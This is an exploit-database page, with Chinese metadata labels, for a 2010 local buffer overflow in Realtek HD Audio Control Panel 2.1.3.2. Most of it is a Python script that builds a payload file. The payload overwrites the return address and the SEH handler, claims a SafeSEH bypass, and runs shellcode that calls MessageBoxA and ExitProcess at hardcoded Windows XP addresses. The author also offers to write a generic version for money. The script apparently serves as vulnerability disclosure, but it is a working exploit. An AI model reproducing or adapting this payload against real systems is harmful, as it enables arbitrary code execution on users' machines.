Realtek HD Audio Control Panel 2.1.3.2 – Local Buffer Overflow

• Exploit Database
• 14 阅读

• 作者： BraniX
  日期： 2010-11-14
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/15541/

• # done by BraniX <branix@hackers.org.pl>
  # www.hackers.org.pl
  # found: 2010.08.24
  # tested on: Windows XP SP3 Home Edition
  # SafeSEH bypass
  
  # App. has classic buffer overflow vulnerability
  # it can be triggered by passing a too long argument 
  # as a startup parameter. Shellcode can by run via classic
  # ret overwrite or SEH Handler overwrite ... so it's a mini-combo ;)
  
  # Ps. If you need a generic exploit ...
  # (no hardcoded VA'a), write it yourself ;) or 'donate few' $$$ 
  # we will c0de it for You ^^
  
  filepath = "C:\\ShellCode\\RTHDCPL 2.1.3.2 - Exploit.bin"
  f = open(filepath, "wb")
  
  f.write('A'*4)
  f.write('\x5E') # pop esi
  f.write('\x5E') # pop esi
  f.write('\xC3') # ret
  f.write('\x90') # nop
  
  f.write('[BraniX]')
  f.write('A'*448)# mock
  
  f.write('\xEB\x06') # jmp +6
  f.write('\x90') # nop
  f.write('\x90') # nop
  
  f.write('\x70\x01\xA5\x01') # pop; pop; ret; address
  
  f.write('\x83\xC1\x0C') # add ecx, 0Ch
  f.write('\x88\x01') # mov byte ptr [ecx], al
  f.write('\x83\xE9\x08') # sub ecx, 08
  f.write('\x50') # push eax
  f.write('\x51') # push ecx
  f.write('\x51') # push ecx
  f.write('\x50') # push eax
  f.write('\xE8\xC5\x08\x27\x7E') # call user32.MessageBoxA
  
  f.write('\x50') # push eax
  f.write('\xE8\xE7\xCB\x6E\x7C') # call kernel32.ExitProcess
  
  f.write('\xCC'*1500)# int 3's
  
  f.close()
  
  print "Done ..."